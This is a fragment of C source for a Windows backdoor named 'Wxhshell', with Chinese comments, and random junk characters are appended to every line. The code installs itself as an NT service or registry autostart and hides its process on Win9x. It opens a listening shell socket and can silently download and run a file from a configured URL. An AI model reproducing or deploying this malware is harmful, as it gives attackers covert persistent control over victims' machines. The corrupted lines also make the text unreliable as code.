DWORD BasePriority; cIIt ;q[
ULONG UniqueProcessId; [3#A)#kWm
ULONG InheritedFromUniqueProcessId; e~wJO~
} PROCESS_BASIC_INFORMATION; %488"
k'd(H5A
PROCNTQSIP NtQueryInformationProcess; J^G#x}y
+-B`Fya
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nvdo|5
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S_B $-H|
tKik)ei
HANDLE hProcess; `S{Blv
PROCESS_BASIC_INFORMATION pbi; R1%2]?
{MaFv
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l6C^,xU~IX
if(NULL == hInst ) return 0; =`l).GnN2`
{_]'EK/w
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5"]t{-PD
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >,JA=s
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kZ0|wML8
bxS+ R\
if (!NtQueryInformationProcess) return 0; D3>;X= 1
j+_pF<$f:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D =Pv:)*]
if(!hProcess) return 0; a V4p0s6ZZ
f~3_Rv!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VTQxg5P c
$:bU<
CloseHandle(hProcess); Z!qH L$
ZN:~etd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "F*'UfOwrZ
if(hProcess==NULL) return 0;
'kD~tpZ
#jja#PF]7
HMODULE hMod; O-M4NKl]6
char procName[255]; \(C_t1
unsigned long cbNeeded; ]/p)XHKo
p$5+^x'(
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c
4<~?L
$=?CW(
CloseHandle(hProcess); :PrQ]ss@C5
!U@?Va~Zn
if(strstr(procName,"services")) return 1; // 以服务启动 E,#J\)'z
`+!GoXI
return 0; // 注册表启动 M=}vDw]Q
} `W8A*
qGE?[\t[6
// 主模块 )7e[o8O_6
int StartWxhshell(LPSTR lpCmdLine) H nRd
{ 0wmz2zKV
SOCKET wsl; j]#-DIL
BOOL val=TRUE; ' Vp6=,P
int port=0; -1Luyuy/`
struct sockaddr_in door; 39W6"^q"o
u= |hRTD=
if(wscfg.ws_autoins) Install(); [>'P
1!x-_h}
port=atoi(lpCmdLine); S)@95pb
qq&G~y
if(port<=0) port=wscfg.ws_port; rf% E+bh4
,Z7tpFC
WSADATA data; '~^3 =[Z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *j,5TO-j
$Q[>v!!X
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; aqjS 5!qh
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~$0Qvyb>
door.sin_family = AF_INET; 0YsC@r47wL
door.sin_addr.s_addr = inet_addr("127.0.0.1"); rKDMIECrm
door.sin_port = htons(port); 2Et7o/\<
k-LB %\p
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tm8c:S^uq)
closesocket(wsl); ^oFg5
return 1; KfXE=v{t
} X5'QYZ6kv
}ST9&wi~
if(listen(wsl,2) == INVALID_SOCKET) { M'=27!D^
closesocket(wsl); *3hqz<p4:
return 1; 3f`+-&|M
} UGy~Ecv
Wxhshell(wsl); glk_*x
WSACleanup(); g+ik`q(ge
H1PW/AW
return 0; =o5ZcC
-Bqn^ E
} `}s$cgEG
t@Qs&DZ7k
// 以NT服务方式启动 G[YbgG=9Y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &)Fp
{ Oj#nF@U
DWORD status = 0; Z2Bl$ \
DWORD specificError = 0xfffffff; ;as4EqiK
m8Q6ESg<*u
serviceStatus.dwServiceType = SERVICE_WIN32; djeax
serviceStatus.dwCurrentState = SERVICE_START_PENDING; G)b6Rit
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y ?FKou'
serviceStatus.dwWin32ExitCode = 0; %f.(^<Gu
serviceStatus.dwServiceSpecificExitCode = 0; DRLX0Ml]\
serviceStatus.dwCheckPoint = 0; $=f,z>j
serviceStatus.dwWaitHint = 0; 5$Yt@8;
Aw)='&;^z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R$@|t?
if (hServiceStatusHandle==0) return; A*BIudli
k`W.tMo
status = GetLastError(); FAVw80?5k
if (status!=NO_ERROR) Ed3 *fY
{ %,rUN+vW
serviceStatus.dwCurrentState = SERVICE_STOPPED; t)74(
serviceStatus.dwCheckPoint = 0; X I\zEXO
serviceStatus.dwWaitHint = 0; YCwfrz
serviceStatus.dwWin32ExitCode = status; $X~4J
serviceStatus.dwServiceSpecificExitCode = specificError; +I0?D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -r_/b
return; &eQF[8 ,
} B
Mh949;
uhUC m
serviceStatus.dwCurrentState = SERVICE_RUNNING; lHwQ'/r
serviceStatus.dwCheckPoint = 0; xBhfC!AK}
serviceStatus.dwWaitHint = 0; e2Sudd=' G
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Akf?BB3bC
} zE +)oQ,
(!Q^.C_m
// 处理NT服务事件,比如:启动、停止 ~A+DH
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ti
}Ljp^O
{ bWK}oYB*
switch(fdwControl) Pew-6u"
{ p]uwGWDI
case SERVICE_CONTROL_STOP: ir<HC 'D[
serviceStatus.dwWin32ExitCode = 0; g]9!Pi8jn
serviceStatus.dwCurrentState = SERVICE_STOPPED; d#.9!m~.
serviceStatus.dwCheckPoint = 0;
Vkdchc
serviceStatus.dwWaitHint = 0; i~}[/^
{ qG=9zp4y?Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h
Ns<Ae
} mT;1KE{J{
return; T_:"~
]
case SERVICE_CONTROL_PAUSE: w{3
B
serviceStatus.dwCurrentState = SERVICE_PAUSED; [k(oQykq
break; <U=:N~L
case SERVICE_CONTROL_CONTINUE: N=&~3k
serviceStatus.dwCurrentState = SERVICE_RUNNING; Dh0`t@
break; az~4sx$+}
case SERVICE_CONTROL_INTERROGATE: NaC^q*>9
break; P?dE\Po7
}; 0[g8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zp>q$e40
} <;:M:{RZY
lL~T@+J~
// 标准应用程序主函数 0t<]Uf
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +]/_gz
{ 5An|#^]
MzRURH,
// 获取操作系统版本 @2-Eky
OsIsNt=GetOsVer(); PZ~uHX_d>
GetModuleFileName(NULL,ExeFile,MAX_PATH); ygr[5Tl
HONrt|c
// 从命令行安装 -crKBy
if(strpbrk(lpCmdLine,"iI")) Install(); w
`6qT3v
ZKyK#\v<
// 下载执行文件 y\b.0-z
if(wscfg.ws_downexe) { QIVpO /@
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r'M|mQ$s>
WinExec(wscfg.ws_filenam,SW_HIDE); F MB\$(g
} Fxy-_%a
L3P _
if(!OsIsNt) { =NwmhV
// 如果时win9x,隐藏进程并且设置为注册表启动 Me[T=Tt`@w
HideProc();
.Ya]N+r*
StartWxhshell(lpCmdLine); %B`MO-
} &GcWv+p
else TjGe8L:
if(StartFromService()) LX[J6YKR
// 以服务方式启动 ?"\`u;
StartServiceCtrlDispatcher(DispatchTable); vbzeabm
else ipnvw4+
// 普通方式启动 .?9+1.`
StartWxhshell(lpCmdLine); ?c0OrvM
a02;Zl
return 0; ?as)vYP
}